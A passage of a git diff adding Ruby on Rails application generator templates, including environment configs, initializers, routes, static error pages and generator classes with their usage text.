+ # Add `rack-cache` to your Gemfile before enabling this.
+ # For large-scale production use, consider using a caching reverse proxy like nginx, varnish or squid.
+ # config.action_dispatch.rack_cache = true
+
+ # Disable Rails's static asset server (Apache or nginx will already do this).
+ config.serve_static_assets = false
+
+ <%- unless options.skip_sprockets? -%>
+ # Compress JavaScripts and CSS.
+ config.assets.js_compressor = :uglifier
+ # config.assets.css_compressor = :sass
+
+ # Do not fallback to assets pipeline if a precompiled asset is missed.
+ config.assets.compile = false
+
+ # Generate digests for assets URLs.
+ config.assets.digest = true
+
+ # Version of your assets, change this if you want to expire all your assets.
+ config.assets.version = '1.0'
+ <%- end -%>
+
+ # Specifies the header that your server uses for sending files.
+ # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+ # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+
+ # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+ # config.force_ssl = true
+
+ # Set to :debug to see everything in the log.
+ config.log_level = :info
+
+ # Prepend all log lines with the following tags.
+ # config.log_tags = [ :subdomain, :uuid ]
+
+ # Use a different logger for distributed setups.
+ # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
+
+ # Use a different cache store in production.
+ # config.cache_store = :mem_cache_store
+
+ # Enable serving of images, stylesheets, and JavaScripts from an asset server.
+ # config.action_controller.asset_host = "http://assets.example.com"
+
+ <%- unless options.skip_sprockets? -%>
+ # Precompile additional assets.
+ # application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
+ # config.assets.precompile += %w( search.js )
+ <%- end -%>
+
+ # Ignore bad email addresses and do not raise email delivery errors.
+ # Set this to true and configure the email server for immediate delivery to raise delivery errors.
+ # config.action_mailer.raise_delivery_errors = false
+
+ # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
+ # the I18n.default_locale when a translation can not be found).
+ config.i18n.fallbacks = true
+
+ # Send deprecation notices to registered listeners.
+ config.active_support.deprecation = :notify
+
+ # Disable automatic flushing of the log to improve performance.
+ # config.autoflush_log = false
+
+ # Use default logging formatter so that PID and timestamp are not suppressed.
+ config.log_formatter = ::Logger::Formatter.new
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
new file mode 100644
index 0000000..7073d8d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
@@ -0,0 +1,36 @@
+<%= app_const %>.configure do
+ # Settings specified here will take precedence over those in config/application.rb.
+
+ # The test environment is used exclusively to run your application's
+ # test suite. You never need to work with it otherwise. Remember that
+ # your test database is "scratch space" for the test suite and is wiped
+ # and recreated between test runs. Don't rely on the data there!
+ config.cache_classes = true
+
+ # Do not eager load code on boot. This avoids loading your whole application
+ # just for the purpose of running a single test. If you are using a tool that
+ # preloads Rails for running tests, you may have to set it to true.
+ config.eager_load = false
+
+ # Configure static asset server for tests with Cache-Control for performance.
+ config.serve_static_assets = true
+ config.static_cache_control = "public, max-age=3600"
+
+ # Show full error reports and disable caching.
+ config.consider_all_requests_local = true
+ config.action_controller.perform_caching = false
+
+ # Raise exceptions instead of rendering exception templates.
+ config.action_dispatch.show_exceptions = false
+
+ # Disable request forgery protection in test environment.
+ config.action_controller.allow_forgery_protection = false
+
+ # Tell Action Mailer not to deliver emails to the real world.
+ # The :test delivery method accumulates sent emails in the
+ # ActionMailer::Base.deliveries array.
+ config.action_mailer.delivery_method = :test
+
+ # Print deprecation notices to the stderr.
+ config.active_support.deprecation = :stderr
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb
new file mode 100644
index 0000000..59385cd
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb
@@ -0,0 +1,7 @@
+# Be sure to restart your server when you modify this file.
+
+# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
+# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
+
+# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code.
+# Rails.backtrace_cleaner.remove_silencers!
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb
new file mode 100644
index 0000000..4a994e1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb
@@ -0,0 +1,4 @@
+# Be sure to restart your server when you modify this file.
+
+# Configure sensitive parameters which will be filtered from the log file.
+Rails.application.config.filter_parameters += [:password]
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
new file mode 100644
index 0000000..ac033bf
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new inflection rules using the following format. Inflections
+# are locale specific, and you may define rules for as many different
+# locales as you wish. All of these examples are active by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+# inflect.plural /^(ox)$/i, '\1en'
+# inflect.singular /^(ox)en/i, '\1'
+# inflect.irregular 'person', 'people'
+# inflect.uncountable %w( fish sheep )
+# end
+
+# These inflection rules are supported but not enabled by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+# inflect.acronym 'RESTful'
+# end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
new file mode 100644
index 0000000..72aca7e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
@@ -0,0 +1,5 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new mime types for use in respond_to blocks:
+# Mime::Type.register "text/richtext", :rtf
+# Mime::Type.register_alias "text/html", :iphone
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
new file mode 100644
index 0000000..efccf72
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
@@ -0,0 +1,12 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key is used for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rake secret` to generate a secure secret key.
+
+# Make sure your secret_key_base is kept private
+# if you're sharing your code publicly.
+<%= app_const %>.config.secret_key_base = '<%= app_secret %>'
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
new file mode 100644
index 0000000..4a099a4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
@@ -0,0 +1,3 @@
+# Be sure to restart your server when you modify this file.
+
+<%= app_const %>.config.session_store :cookie_store, key: <%= "'_#{app_name}_session'" %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
new file mode 100644
index 0000000..4f1d56c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+ wrap_parameters format: [:json] if respond_to?(:wrap_parameters)
+end
+
+<%- unless options.skip_active_record? -%>
+# To enable root element in JSON for ActiveRecord objects.
+# ActiveSupport.on_load(:active_record) do
+# self.include_root_in_json = true
+# end
+<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml b/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml
new file mode 100644
index 0000000..0653957
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml
@@ -0,0 +1,23 @@
+# Files in the config/locales directory are used for internationalization
+# and are automatically loaded by Rails. If you want to use locales other
+# than English, add the necessary files in this directory.
+#
+# To use the locales, use `I18n.t`:
+#
+# I18n.t 'hello'
+#
+# In views, this is aliased to just `t`:
+#
+# <%= t('hello') %>
+#
+# To use a different locale, set it with `I18n.locale`:
+#
+# I18n.locale = :es
+#
+# This would use the information in config/locales/es.yml.
+#
+# To learn more, please read the Rails Internationalization guide
+# available at http://guides.rubyonrails.org/i18n.html.
+
+en:
+ hello: "Hello world"
diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
new file mode 100644
index 0000000..f877fa1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
@@ -0,0 +1,49 @@
+<%= app_const %>.routes.draw do
+ # The priority is based upon order of creation: first created -> highest priority.
+ # See how all your routes lay out with "rake routes".
+
+ # You can have the root of your site routed with "root"
+ # root 'welcome#index'
+
+ # Example of regular route:
+ # get 'products/:id' => 'catalog#view'
+
+ # Example of named route that can be invoked with purchase_url(id: product.id)
+ # get 'products/:id/purchase' => 'catalog#purchase', as: :purchase
+
+ # Example resource route (maps HTTP verbs to controller actions automatically):
+ # resources :products
+
+ # Example resource route with options:
+ # resources :products do
+ # member do
+ # get 'short'
+ # post 'toggle'
+ # end
+ #
+ # collection do
+ # get 'sold'
+ # end
+ # end
+
+ # Example resource route with sub-resources:
+ # resources :products do
+ # resources :comments, :sales
+ # resource :seller
+ # end
+
+ # Example resource route with more complex sub-resources:
+ # resources :products do
+ # resources :comments
+ # resources :sales do
+ # get 'recent', on: :collection
+ # end
+ # end
+
+ # Example resource route within a namespace:
+ # namespace :admin do
+ # # Directs /admin/products/* to Admin::ProductsController
+ # # (app/controllers/admin/products_controller.rb)
+ # resources :products
+ # end
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
new file mode 100644
index 0000000..4edb1e8
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
@@ -0,0 +1,7 @@
+# This file should contain all the record creation needed to seed the database with its default values.
+# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
+#
+# Examples:
+#
+# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
+# Mayor.create(name: 'Emanuel', city: cities.first)
diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore
new file mode 100644
index 0000000..25a742d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/gitignore
@@ -0,0 +1,16 @@
+# See http://help.github.com/ignore-files/ for more about ignoring files.
+#
+# If you find yourself ignoring temporary files generated by your text editor
+# or operating system, you probably want to add a global ignore instead:
+# git config --global core.excludesfile '~/.gitignore_global'
+
+# Ignore bundler config.
+/.bundle
+
+# Ignore the default SQLite database.
+/db/*.sqlite3
+/db/*.sqlite3-journal
+
+# Ignore all logfiles and tempfiles.
+/log/*.log
+/tmp
diff --git a/railties/lib/rails/generators/rails/app/templates/public/404.html b/railties/lib/rails/generators/rails/app/templates/public/404.html
new file mode 100644
index 0000000..a0daa0c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/404.html
@@ -0,0 +1,58 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title>The page you were looking for doesn't exist (404)</title>
+ <style>
+ body {
+ background-color: #EFEFEF;
+ color: #2E2F30;
+ text-align: center;
+ font-family: arial, sans-serif;
+ }
+
+ div.dialog {
+ width: 25em;
+ margin: 4em auto 0 auto;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #BBB;
+ border-top: #B00100 solid 4px;
+ border-top-left-radius: 9px;
+ border-top-right-radius: 9px;
+ background-color: white;
+ padding: 7px 4em 0 4em;
+ }
+
+ h1 {
+ font-size: 100%;
+ color: #730E15;
+ line-height: 1.5em;
+ }
+
+ body > p {
+ width: 33em;
+ margin: 0 auto 1em;
+ padding: 1em 0;
+ background-color: #F7F7F7;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-bottom-color: #999;
+ border-bottom-left-radius: 4px;
+ border-bottom-right-radius: 4px;
+ border-top-color: #DADADA;
+ color: #666;
+ box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+ }
+ </style>
+</head>
+
+<body>
+ <!-- This file lives in public/404.html -->
+ <div class="dialog">
+ <h1>The page you were looking for doesn't exist.</h1>
+ <p>You may have mistyped the address or the page may have moved.</p>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
+</body>
+</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/422.html b/railties/lib/rails/generators/rails/app/templates/public/422.html
new file mode 100644
index 0000000..fbb4b84
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/422.html
@@ -0,0 +1,58 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title>The change you wanted was rejected (422)</title>
+ <style>
+ body {
+ background-color: #EFEFEF;
+ color: #2E2F30;
+ text-align: center;
+ font-family: arial, sans-serif;
+ }
+
+ div.dialog {
+ width: 25em;
+ margin: 4em auto 0 auto;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #BBB;
+ border-top: #B00100 solid 4px;
+ border-top-left-radius: 9px;
+ border-top-right-radius: 9px;
+ background-color: white;
+ padding: 7px 4em 0 4em;
+ }
+
+ h1 {
+ font-size: 100%;
+ color: #730E15;
+ line-height: 1.5em;
+ }
+
+ body > p {
+ width: 33em;
+ margin: 0 auto 1em;
+ padding: 1em 0;
+ background-color: #F7F7F7;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-bottom-color: #999;
+ border-bottom-left-radius: 4px;
+ border-bottom-right-radius: 4px;
+ border-top-color: #DADADA;
+ color: #666;
+ box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+ }
+ </style>
+</head>
+
+<body>
+ <!-- This file lives in public/422.html -->
+ <div class="dialog">
+ <h1>The change you wanted was rejected.</h1>
+ <p>Maybe you tried to change something you didn't have access to.</p>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
+</body>
+</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html
new file mode 100644
index 0000000..e9052d3
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/500.html
@@ -0,0 +1,57 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title>We're sorry, but something went wrong (500)</title>
+ <style>
+ body {
+ background-color: #EFEFEF;
+ color: #2E2F30;
+ text-align: center;
+ font-family: arial, sans-serif;
+ }
+
+ div.dialog {
+ width: 25em;
+ margin: 4em auto 0 auto;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #BBB;
+ border-top: #B00100 solid 4px;
+ border-top-left-radius: 9px;
+ border-top-right-radius: 9px;
+ background-color: white;
+ padding: 7px 4em 0 4em;
+ }
+
+ h1 {
+ font-size: 100%;
+ color: #730E15;
+ line-height: 1.5em;
+ }
+
+ body > p {
+ width: 33em;
+ margin: 0 auto 1em;
+ padding: 1em 0;
+ background-color: #F7F7F7;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-bottom-color: #999;
+ border-bottom-left-radius: 4px;
+ border-bottom-right-radius: 4px;
+ border-top-color: #DADADA;
+ color: #666;
+ box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+ }
+ </style>
+</head>
+
+<body>
+ <!-- This file lives in public/500.html -->
+ <div class="dialog">
+ <h1>We're sorry, but something went wrong.</h1>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
+</body>
+</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/favicon.ico b/railties/lib/rails/generators/rails/app/templates/public/favicon.ico
new file mode 100644
index 0000000..e69de29
diff --git a/railties/lib/rails/generators/rails/app/templates/public/robots.txt b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
new file mode 100644
index 0000000..1a3a5e4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
@@ -0,0 +1,5 @@
+# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+#
+# To ban all spiders from the entire site uncomment the next two lines:
+# User-agent: *
+# Disallow: /
diff --git a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
new file mode 100644
index 0000000..4fd0603
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
@@ -0,0 +1,17 @@
+ENV["RAILS_ENV"] ||= "test"
+require File.expand_path('../../config/environment', __FILE__)
+require 'rails/test_help'
+
+class ActiveSupport::TestCase
+<% unless options[:skip_active_record] -%>
+ ActiveRecord::Migration.check_pending!
+
+ # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
+ #
+ # Note: You'll currently still have to declare fixtures explicitly in integration tests
+ # -- they do not yet inherit this setting
+ fixtures :all
+
+<% end -%>
+ # Add more helper methods to be used by all tests here...
+end
diff --git a/railties/lib/rails/generators/rails/assets/USAGE b/railties/lib/rails/generators/rails/assets/USAGE
new file mode 100644
index 0000000..d2e5ed4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/assets/USAGE
@@ -0,0 +1,20 @@
+Description:
+ Stubs out new asset placeholders. Pass the asset name, either CamelCased
+ or under_scored.
+
+ To create an asset within a folder, specify the asset's name as a
+ path like 'parent/name'.
+
+ This generates a JavaScript stub in app/assets/javascripts and a stylesheet
+ stub in app/assets/stylesheets.
+
+ If CoffeeScript is available, JavaScripts will be generated with the .coffee extension.
+ If Sass 3 is available, stylesheets will be generated with the .scss extension.
+
+Example:
+ `rails generate assets posts`
+
+ Posts assets.
+ JavaScript: app/assets/javascripts/posts.js
+ Stylesheet: app/assets/stylesheets/posts.css
+
diff --git a/railties/lib/rails/generators/rails/assets/assets_generator.rb b/railties/lib/rails/generators/rails/assets/assets_generator.rb
new file mode 100644
index 0000000..6f4b86e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/assets/assets_generator.rb
@@ -0,0 +1,25 @@
+module Rails
+ module Generators
+ class AssetsGenerator < NamedBase # :nodoc:
+ class_option :javascripts, type: :boolean, desc: "Generate JavaScripts"
+ class_option :stylesheets, type: :boolean, desc: "Generate Stylesheets"
+
+ class_option :javascript_engine, desc: "Engine for JavaScripts"
+ class_option :stylesheet_engine, desc: "Engine for Stylesheets"
+
+ protected
+
+ def asset_name
+ file_name
+ end
+
+ hook_for :javascript_engine do |javascript_engine|
+ invoke javascript_engine, [name] if options[:javascripts]
+ end
+
+ hook_for :stylesheet_engine do |stylesheet_engine|
+ invoke stylesheet_engine, [name] if options[:stylesheets]
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/assets/templates/javascript.js b/railties/lib/rails/generators/rails/assets/templates/javascript.js
new file mode 100644
index 0000000..dee720f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/assets/templates/javascript.js
@@ -0,0 +1,2 @@
+// Place all the behaviors and hooks related to the matching controller here.
+// All this logic will automatically be available in application.js.
diff --git a/railties/lib/rails/generators/rails/assets/templates/stylesheet.css b/railties/lib/rails/generators/rails/assets/templates/stylesheet.css
new file mode 100644
index 0000000..7594abf
--- /dev/null
+++ b/railties/lib/rails/generators/rails/assets/templates/stylesheet.css
@@ -0,0 +1,4 @@
+/*
+ Place all the styles related to the matching controller here.
+ They will automatically be included in application.css.
+*/
diff --git a/railties/lib/rails/generators/rails/controller/USAGE b/railties/lib/rails/generators/rails/controller/USAGE
new file mode 100644
index 0000000..64239ad
--- /dev/null
+++ b/railties/lib/rails/generators/rails/controller/USAGE
@@ -0,0 +1,18 @@
+Description:
+ Stubs out a new controller and its views. Pass the controller name, either
+ CamelCased or under_scored, and a list of views as arguments.
+
+ To create a controller within a module, specify the controller name as a
+ path like 'parent_module/controller_name'.
+
+ This generates a controller class in app/controllers and invokes helper,
+ template engine, assets, and test framework generators.
+
+Example:
+ `rails generate controller CreditCards open debit credit close`
+
+ CreditCards controller with URLs like /credit_cards/debit.
+ Controller: app/controllers/credit_cards_controller.rb
+ Test: test/controllers/credit_cards_controller_test.rb
+ Views: app/views/credit_cards/debit.html.erb [...]
+ Helper: app/helpers/credit_cards_helper.rb
diff --git a/railties/lib/rails/generators/rails/controller/controller_generator.rb b/railties/lib/rails/generators/rails/controller/controller_generator.rb
new file mode 100644
index 0000000..bae5462
--- /dev/null
+++ b/railties/lib/rails/generators/rails/controller/controller_generator.rb
@@ -0,0 +1,20 @@
+module Rails
+ module Generators
+ class ControllerGenerator < NamedBase # :nodoc:
+ argument :actions, type: :array, default: [], banner: "action action"
+ check_class_collision suffix: "Controller"
+
+ def create_controller_files
+ template 'controller.rb', File.join('app/controllers', class_path, "#{file_name}_controller.rb")
+ end
+
+ def add_routes
+ actions.reverse.each do |action|
+ route %{get "#{file_name}/#{action}"}
+ end
+ end
+
+ hook_for :template_engine, :test_framework, :helper, :assets
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/controller/templates/controller.rb b/railties/lib/rails/generators/rails/controller/templates/controller.rb
new file mode 100644
index 0000000..633e0b3
--- /dev/null
+++ b/railties/lib/rails/generators/rails/controller/templates/controller.rb
@@ -0,0 +1,13 @@
+<% if namespaced? -%>
+require_dependency "<%= namespaced_path %>/application_controller"
+
+<% end -%>
+<% module_namespacing do -%>
+class <%= class_name %>Controller < ApplicationController
+<% actions.each do |action| -%>
+ def <%= action %>
+ end
+<%= "\n" unless action == actions.last -%>
+<% end -%>
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/generator/USAGE b/railties/lib/rails/generators/rails/generator/USAGE
new file mode 100644
index 0000000..d28eb3d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/generator/USAGE
@@ -0,0 +1,12 @@
+Description:
+ Stubs out a new generator at lib/generators. Pass the generator name as an argument,
+ either CamelCased or snake_cased.
+
+Example:
+ `rails generate generator Awesome`
+
+ creates a standard awesome generator:
+ lib/generators/awesome/
+ lib/generators/awesome/awesome_generator.rb
+ lib/generators/awesome/USAGE
+ lib/generators/awesome/templates/
diff --git a/railties/lib/rails/generators/rails/generator/generator_generator.rb b/railties/lib/rails/generators/rails/generator/generator_generator.rb
new file mode 100644
index 0000000..9a7a516
--- /dev/null
+++ b/railties/lib/rails/generators/rails/generator/generator_generator.rb
@@ -0,0 +1,25 @@
+module Rails
+ module Generators
+ class GeneratorGenerator < NamedBase # :nodoc:
+ check_class_collision suffix: "Generator"
+
+ class_option :namespace, type: :boolean, default: true,
+ desc: "Namespace generator under lib/generators/name"
+
+ def create_generator_files
+ directory '.', generator_dir
+ end
+
+ protected
+
+ def generator_dir
+ if options[:namespace]
+ File.join("lib", "generators", regular_class_path, file_name)
+ else
+ File.join("lib", "generators", regular_class_path)
+ end
+ end
+
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt b/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt
new file mode 100644
index 0000000..d057577
--- /dev/null
+++ b/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt
@@ -0,0 +1,3 @@
+class <%= class_name %>Generator < Rails::Generators::NamedBase
+ source_root File.expand_path('../templates', __FILE__)
+end
diff --git a/railties/lib/rails/generators/rails/generator/templates/USAGE.tt b/railties/lib/rails/generators/rails/generator/templates/USAGE.tt
new file mode 100644
index 0000000..1bb8df8
--- /dev/null
+++ b/railties/lib/rails/generators/rails/generator/templates/USAGE.tt
@@ -0,0 +1,8 @@
+Description:
+ Explain the generator
+
+Example:
+ rails generate <%= file_name %> Thing
+
+ This will create:
+ what/will/it/create
diff --git a/railties/lib/rails/generators/rails/generator/templates/templates/.empty_directory b/railties/lib/rails/generators/rails/generator/templates/templates/.empty_directory
new file mode 100644
index 0000000..e69de29
diff --git a/railties/lib/rails/generators/rails/helper/USAGE b/railties/lib/rails/generators/rails/helper/USAGE
new file mode 100644
index 0000000..30e323a
--- /dev/null
+++ b/railties/lib/rails/generators/rails/helper/USAGE
@@ -0,0 +1,17 @@
+Description:
+ Stubs out a new helper. Pass the helper name, either CamelCased
+ or under_scored.
+
+ To create a helper within a module, specify the helper name as a
+ path like 'parent_module/helper_name'.
+
+ This generates a helper class in app/helpers and invokes the configured
+ test framework.
+
+Example:
+ `rails generate helper CreditCard`
+
+ Credit card helper.
+ Helper: app/helpers/credit_card_helper.rb
+ Test: test/helpers/credit_card_helper_test.rb
+
diff --git a/railties/lib/rails/generators/rails/helper/helper_generator.rb b/railties/lib/rails/generators/rails/helper/helper_generator.rb
new file mode 100644
index 0000000..5ff38e4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/helper/helper_generator.rb
@@ -0,0 +1,13 @@
+module Rails
+ module Generators
+ class HelperGenerator < NamedBase # :nodoc:
+ check_class_collision suffix: "Helper"
+
+ def create_helper_files
+ template 'helper.rb', File.join('app/helpers', class_path, "#{file_name}_helper.rb")
+ end
+
+ hook_for :test_framework
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/helper/templates/helper.rb b/railties/lib/rails/generators/rails/helper/templates/helper.rb
new file mode 100644
index 0000000..b417315
--- /dev/null
+++ b/railties/lib/rails/generators/rails/helper/templates/helper.rb
@@ -0,0 +1,4 @@
+<% module_namespacing do -%>
+module <%= class_name %>Helper
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/integration_test/USAGE b/railties/lib/rails/generators/rails/integration_test/USAGE
new file mode 100644
index 0000000..57ee354
--- /dev/null
+++ b/railties/lib/rails/generators/rails/integration_test/USAGE
@@ -0,0 +1,10 @@
+Description:
+ Stubs out a new integration test. Pass the name of the test, either
+ CamelCased or under_scored, as an argument.
+
+ This generator invokes the current integration tool, which defaults to
+ TestUnit.
+
+Example:
+ `rails generate integration_test GeneralStories` creates a GeneralStories
+ integration test in test/integration/general_stories_test.rb
diff --git a/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb b/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb
new file mode 100644
index 0000000..70770dd
--- /dev/null
+++ b/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb
@@ -0,0 +1,7 @@
+module Rails
+ module Generators
+ class IntegrationTestGenerator < NamedBase # :nodoc:
+ hook_for :integration_tool, as: :integration
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/migration/USAGE b/railties/lib/rails/generators/rails/migration/USAGE
new file mode 100644
index 0000000..baf3d98
--- /dev/null
+++ b/railties/lib/rails/generators/rails/migration/USAGE
@@ -0,0 +1,35 @@
+Description:
+ Stubs out a new database migration. Pass the migration name, either
+ CamelCased or under_scored, and an optional list of attribute pairs as arguments.
+
+ A migration class is generated in db/migrate prefixed by a timestamp of the current date and time.
+
+ You can name your migration in either of these formats to generate add/remove
+ column lines from supplied attributes: AddColumnsToTable or RemoveColumnsFromTable
+
+Example:
+ `rails generate migration AddSslFlag`
+
+ If the current date is May 14, 2008 and the current time 09:09:12, this creates the AddSslFlag migration
+ db/migrate/20080514090912_add_ssl_flag.rb
+
+ `rails generate migration AddTitleBodyToPost title:string body:text published:boolean`
+
+ This will create the AddTitleBodyToPost in db/migrate/20080514090912_add_title_body_to_post.rb with this in the Change migration:
+
+ add_column :posts, :title, :string
+ add_column :posts, :body, :text
+ add_column :posts, :published, :boolean
+
+Migration names containing JoinTable will generate join tables for use with
+has_and_belongs_to_many associations.
+
+Example:
+ `rails g migration CreateMediaJoinTable artists musics:uniq`
+
+ will create the migration
+
+ create_join_table :artists, :musics do |t|
+ # t.index [:artist_id, :music_id]
+ t.index [:music_id, :artist_id], unique: true
+ end
diff --git a/railties/lib/rails/generators/rails/migration/migration_generator.rb b/railties/lib/rails/generators/rails/migration/migration_generator.rb
new file mode 100644
index 0000000..965c42d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/migration/migration_generator.rb
@@ -0,0 +1,8 @@
+module Rails
+ module Generators
+ class MigrationGenerator < NamedBase # :nodoc:
+ argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
+ hook_for :orm, required: true
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/model/USAGE b/railties/lib/rails/generators/rails/model/USAGE
new file mode 100644
index 0000000..1998a39
--- /dev/null
+++ b/railties/lib/rails/generators/rails/model/USAGE
@@ -0,0 +1,100 @@
+Description:
+ Stubs out a new model. Pass the model name, either CamelCased or
+ under_scored, and an optional list of attribute pairs as arguments.
+
+ Attribute pairs are field:type arguments specifying the
+ model's attributes. Timestamps are added by default, so you don't have to
+ specify them by hand as 'created_at:datetime updated_at:datetime'.
+
+ You don't have to think up every attribute up front, but it helps to
+ sketch out a few so you can start working with the model immediately.
+
+ This generator invokes your configured ORM and test framework, which
+ defaults to ActiveRecord and TestUnit.
+
+ Finally, if --parent option is given, it's used as superclass of the
+ created model. This allows you create Single Table Inheritance models.
+
+ If you pass a namespaced model name (e.g. admin/account or Admin::Account)
+ then the generator will create a module with a table_name_prefix method
+ to prefix the model's table name with the module name (e.g. admin_account)
+
+Available field types:
+
+ Just after the field name you can specify a type like text or boolean.
+ It will generate the column with the associated SQL type. For instance:
+
+ `rails generate model post title:string body:text`
+
